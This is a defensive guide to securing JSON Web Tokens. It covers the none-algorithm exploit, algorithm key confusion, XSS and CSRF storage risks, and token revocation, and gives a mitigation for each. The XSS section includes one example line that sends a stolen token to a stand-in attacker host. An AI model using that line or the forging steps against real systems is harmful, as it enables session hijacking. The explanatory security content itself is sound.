JSON Web Tokens (JWTs) changed how session state is managed, allowing developers to avoid database session queries and enabling stateless, microservice-friendly authentication. If you want to understand these fundamentals first, check out the guide to OAuth 2.0 and JWTs to learn how they work and why we use them. Once you have the basics down, this guide will show you how to secure your tokens in production.
However, delegating security entirely to cryptography is a double-edged sword. If your session database fails, users might get logged out; if your JWT implementation is flawed, attackers can forge credentials, bypass authentication, and hijack accounts. According to cybersecurity research, cryptographic failures and broken authentication consistently rank in the top vulnerabilities for web APIs.
Let's dive deep into the specific vulnerabilities engineers face when using JWTs, examine the cryptographic mechanics behind them, and establish robust mitigations.
1. Cryptographic Vulnerabilities: Forging the Signature
Because JWTs are stateless, your backend trust system relies entirely on the signature. If an attacker can manipulate the signature validation process, they can bypass authentication entirely.
Vulnerability A: The none Algorithm Exploit
The JWT header contains an "alg" claim specifying the algorithm used to sign the token.
{
"alg": "HS256",
"typ": "JWT"
}However, the JWT specification also defines a none algorithm, designed for debugging or contexts where transport-layer security is deemed sufficient.
But why does this vulnerability exist?
Early JWT libraries simply trusted the header's instruction. During validation, the library would check:
- What algorithm is this?
- Ah, it says
none. - Therefore, no signature verification is required!
An attacker could change "alg": "HS256" to "alg": "none" in the header, modify the payload to set "role": "admin", remove the signature portion, and send the token. Poorly configured verification libraries would parse it and immediately authorize the attacker.
Mitigation:
Modern JWT libraries reject none by default. However, you must explicitly enforce the expected algorithm when configuring your verifier:
// SECURE: Explicitly declare acceptable algorithms
jwt.verify(token, publicKey, { algorithms: ['RS256'] });Vulnerability B: Algorithm Key Confusion (RS256 vs. HS256)
This is a more subtle, mathematical attack that occurs when an application is configured to use asymmetric signing (like RS256), but the code handles signature verification insecurely.
But why can an attacker swap algorithms?
- RS256 (Asymmetric): The auth server signs the token with a private key. The app backend verifies the token using the corresponding public key (which is publicly accessible).
- HS256 (Symmetric): The token is signed and verified using the same shared secret key.
If the backend verification code uses a generic validation function that accepts whatever algorithm is in the token header, an attacker can exploit this:
- The attacker fetches the backend's public key (which is public).
- The attacker crafts a forged JWT payload (e.g., claiming admin status).
- The attacker changes the header algorithm from
RS256toHS256. - The attacker signs this token using HS256, using the backend's public key as the symmetric secret key.
- When the backend receives this token, it checks the header: "Ah, this is HS256." It then passes its stored validation key (the public key file) to the verification engine. The engine compares the signature using the public key as the secret key. The signatures match perfectly!
Mitigation:
Never let the incoming token dictate the verification algorithm dynamically. Hardcode or strictly constrain the allowed algorithms during verification:
// SECURE: Forcing the algorithm prevents key confusion attacks
const payload = jwt.verify(token, publicKey, { algorithms: ['RS256'] });2. Storage Vulnerabilities: Storing Tokens on the Client
Once a token is issued, the client must store it. The choice of storage is a continuous battle between two major attack vectors: Cross-Site Scripting (XSS) and Cross-Site Request Forgery (CSRF).
The LocalStorage Approach
Many developer guides suggest storing JWTs in localStorage.
But why is LocalStorage highly insecure?
localStorage is accessible to any JavaScript running on your page. If your application suffers from a single Cross-Site Scripting (XSS) vulnerability (e.g., through an unescaped input or a compromised third-party npm package), an attacker can execute code to read your storage:
// An attacker steals your token in one line of code
const token = localStorage.getItem('token');
fetch('https://attacker.com/steal?token=' + token);Once stolen, the attacker has full access to the user's session until the token expires.
The Cookie Approach
To defend against XSS, developers store JWTs in cookies. By setting the HttpOnly flag on the cookie, the browser prevents client-side JavaScript from reading the cookie data.
But why are cookies vulnerable to CSRF?
The browser decides whether to attach a cookie based on the destination of the request, not where the request originated.
If a user has an active session cookie for your-app.com and visits malicious-site.com in another tab, the malicious site can exploit this behavior:
- The malicious site triggers a request (e.g., using a hidden HTML form or a script) targeting
https://your-app.com/api/transfer-funds. - The browser processes the request. Because the destination domain is
your-app.com, the browser automatically attaches the corresponding session cookie. - The API receives the request, sees the valid session cookie, and executes the action, unaware that the request originated from a malicious domain.
This automatic attachment of cookies on cross-site requests is the core mechanism of Cross-Site Request Forgery (CSRF).
Mitigation:
To protect against both XSS and CSRF, configure cookies with the following strict flags:
- `HttpOnly`: Blocks JavaScript access (mitigates XSS token theft).
- `Secure`: Ensures the cookie is only transmitted over HTTPS.
- `SameSite=Strict` or `SameSite=Lax`: Instructs the browser not to send the cookie on cross-site requests, neutralizing CSRF attacks.
Putting Storage Risks in Perspective
While these vulnerabilities sound alarming, token theft is highly unlikely when your storage is configured correctly. Setting the HttpOnly, Secure, and SameSite cookie flags blocks both direct token extraction and cross-site request forgery.
For high-risk actions, you can add extra safety guards to ensure that even a compromised token has limited utility:
- Step-Up Authentication: Require users to re-enter their password or provide a multi-factor authentication (MFA) code before performing critical actions (such as changing an email, transferring funds, or deleting an account).
- IP/User-Agent Binding: Bind the token to the client's IP address or fingerprint, rejecting requests if the client's network context suddenly changes (though this must be balanced against mobile users switching cell towers).
For highly secure enterprise applications, use the BFF (Backend-for-Frontend) Pattern. In this architecture, the frontend client never sees the JWT. Instead, a lightweight backend proxy manages the OAuth flow, stores the JWT securely in server memory, and exposes a secure, encrypted cookie-based session to the frontend.
3. The Architecture Vulnerability: Revocation and Lifespans
The biggest architectural drawback of stateless JWTs is the inability to easily revoke them.
But why can't we just revoke a JWT?
Because the backend verifies JWTs cryptographically without querying a database, it has no memory of which tokens it has issued. If a user logs out, or if an administrator wants to ban a user, the JWT remains completely valid until its exp time is reached.
Mitigation: The Double Token Pattern
To achieve near-instant revocation without losing the scalability benefits of statelessness, use a combination of short-lived access tokens and stateful refresh tokens:
- Access Token (Short-lived JWT):
- Expiration: 5 to 15 minutes.
- Stored securely. Used to access the API.
- Because it expires quickly, the window of vulnerability if it is stolen is minimal.
- Refresh Token (Long-lived, Stateful):
- Expiration: Days or weeks.
- Stored in a secure database on the server, and stored as an
HttpOnlycookie on the client. - Used only to request new access tokens when the old ones expire.
When a user logs out or is banned, the server deletes the Refresh Token from the database. The next time the client's short-lived access token expires, it will attempt to exchange the refresh token for a new access token. The server will check the database, see the refresh token is gone, and reject the request. The user is successfully logged out within 15 minutes at most.
Summary of Secure JWT Checklist
For engineers building production-ready authentication, ensure you implement these rules:
| Security Vector | Vulnerability | Engineering Mitigation |
|---|---|---|
| Algorithm Manipulation | none algorithm exploit | Enforce explicit signing algorithms during verification (e.g., specify ['RS256']). |
| Asymmetric Key Swap | RS256/HS256 Key Confusion | Do not allow user-controlled headers to dynamically select the verification path. |
| Token Theft | XSS stealing tokens | Do not store tokens in localStorage. Use HttpOnly cookies. |
| Request Forgery | CSRF attacks on cookies | Set SameSite=Strict or SameSite=Lax and implement anti-CSRF headers. |
| Session Control | Inability to logout/revoke | Implement short-lived Access Tokens (5-15 mins) paired with a database-checked Refresh Token. |
